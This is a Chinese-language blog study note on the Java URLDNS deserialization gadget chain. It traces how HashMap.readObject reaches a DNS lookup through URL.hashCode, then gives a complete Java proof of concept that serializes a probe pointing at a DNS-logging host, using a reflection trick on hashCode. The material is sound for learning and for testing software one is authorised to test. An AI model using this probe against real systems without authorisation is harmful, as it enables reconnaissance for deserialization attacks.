URLDNS

触发反序列化的方法是readObject,直奔 HashMap 类的 readObject ⽅法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);

lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);

reinitialize();

s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

最后一段for循环

image-20231113120658086

注释:读取键和值,并将映射放在HashMap中

1
putVal(hash(key), key, value, false, false);

这里计算了键名的hash值,跟进

image-20231113121133713

键值不为空,会调用 hashCode,hashCode 初始值为 -1,跟进

image-20231113165118461

handler 是 URLStreamHandler 对象,继续跟进

image-20231113170008212

后面的不重要了

这⾥有调⽤ getHostAddress ⽅法,继续跟进:

image-20231113170237558

image-20231113170200390

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询

Poc

沃克:

在put时,就会产生DNS请求,经过DNS请求之后,url对象的hashCode值就被重新计算,不是初始值-1了,那么接下来序列化时不是-1,反序列化出来自然也不是-1,故实际反序列化时也就不会进行DNS请求,而在我们的DNS平台上收到的请求实际上是put时发出的,会对我们判断目标是否存在反序列化漏洞形成干扰

故此坑的解决方法是:利用反射,在put之前将url对象的hashCode值设值成不为-1,put之后再利用反射,将其设置为-1,这样put时就不会发起DNS请求了

image-20231113182238917

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

/*
Gadget chain:
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
...
*/

public class URLDNS {
public static void main(String[] args) throws Exception {
URL url = new URL("http://uedwpuvfgr.dgrh3.cn");
HashMap hashMap = new HashMap();

// hashCode方法计算时会在hashCode属性中缓存已经计算过的值,如果再次计算将直接返回值
// put前,需要反射把hashCode的值修改(!=-1)
Class clazz = url.getClass();
Field hashCode = clazz.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);

// put -> URL中hashCode方法,hashCode值不等于-1就不会触发
hashMap.put(url, 1);

// hashCode改为-1,反序列化时触发
hashCode.set(url, -1);

System.out.println(Base64.getEncoder().encodeToString(serialize(hashMap)));
deserialize(serialize(hashMap));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}
}

2023-11-11
Contents
  1. URLDNS
    1. Poc

⬆︎TOP